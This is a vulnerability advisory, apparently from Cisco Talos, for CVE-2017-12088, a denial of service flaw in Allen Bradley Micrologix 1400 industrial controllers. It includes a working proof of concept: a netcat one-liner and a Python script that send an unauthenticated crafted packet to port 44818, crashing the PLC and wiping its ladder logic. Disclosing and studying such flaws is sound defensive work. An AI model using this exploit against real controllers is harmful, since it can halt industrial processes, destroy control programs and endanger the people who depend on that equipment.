CVE-2017-12088
An exploitable denial of service vulnerability exists in the Ethernet functionality of the Allen Bradley Micrologix 1400 Series B FRN 21.2 and below. A specially crafted packet can cause a device power cycle resulting in a fault state and deletion of ladder logic. An attacker can send one unauthenticated packet to trigger this vulnerability.
Allen Bradley Micrologix 1400 Series B FRN 21.2 Allen Bradley Micrologix 1400 Series B FRN 21.0 Allen Bradley Micrologix 1400 Series B FRN 15
http://ab.rockwellautomation.com/Programmable-Controllers/MicroLogix-1400
8.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
CWE-248: Uncaught Exception
If a packet containing the bytes 0xe8 0xff in position 3 and 4 (referred to here as the crash section) is sent to a Micrologix 1400 over port 44818/TCP, it will cause the PLC to power cycle, enter a fault state, and clear the existing ladder logic. The device will additionally follow the same crash procedure if there is a multiple of 24 null bytes sent before the crash section. This vulnerability can be triggered without authentication over a network, provided that the device is accessible over port 44818 (default).
Send the packet displayed below to the device over TCP port 44818
echo -e “\x00\x00\xE8\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00” | nc -w 2
Additionally, the crash can be triggered by prepending any number of 24 byte blocks of null characters to the crash string.
Usage: python <filename>.py -i <ip_addr> [-p <port>]
Where the elements are as follows:
- <filename> : whatever name you give the script
- <ip_addr> : ip address of the plc
- <port> : EtherNet/IP port (defaults to 44818)
import socket
import argparse
import random
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ipaddr", help="target ip address", type=str)
parser.add_argument("-p", "--port", help="target port", default=44818, type=int)
args = parser.parse_args()
host = args.ipaddr
port = args.port
head = "\x00" * 24
crash_head = "\x00" * 2
crash_tail = "\x00"*20
crash = "%s\xe8\xff%s" % (crash_head, crash_tail)
num_heads = int((random.random()*58))
heads = head * num_heads
mesg = heads + crash
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host,port))
sock.send(mesg)
sock.shutdown(socket.SHUT_RDWR)
sock.close
2017-09-22 - Vendor Disclosure
2018-03-28 - Public Release
Discovered by Jared Rittle and Patrick DeSantis of Cisco Talos